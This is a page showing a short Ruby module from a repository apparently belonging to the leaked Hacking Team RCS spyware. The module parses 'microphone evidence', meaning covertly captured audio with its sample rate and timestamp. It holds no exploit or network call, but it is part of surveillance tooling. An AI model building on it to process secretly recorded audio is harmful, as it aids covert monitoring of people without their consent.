hackedteam/rcs-common

View on GitHub
lib/rcs-common/evidence/mic.rb

Summary

Maintainability
A
0 mins
Test Coverage
require_relative 'common'
require 'rcs-common/serializer'

module RCS
module MicEvidence

    MIC_LOG_VERSION = 2008121901

  def decode_additional_header(data)

    raise EvidenceDeserializeError.new("incomplete evidence") if data.nil? or data.bytesize == 0

    stream = StringIO.new data

    ret = Hash.new
    ret[:data] = Hash.new

    version = read_uint32 stream
    raise EvidenceDeserializeError.new("invalid log version for voice call") unless version == MIC_LOG_VERSION

    ret[:data][:sample_rate] = read_uint32 stream
    low, high = stream.read(8).unpack 'V2'
    ret[:data][:mic_id] = Time.from_filetime high, low

    return ret
  end

  def decode_content(common_info, chunks)
    stream = StringIO.new chunks.join

    info = Hash[common_info]
    info[:data] ||= Hash.new

    info[:data][:grid_content] = chunks.join
    yield info if block_given?
    :keep_raw
  end
end # ::CalendarEvidence
end # ::RCS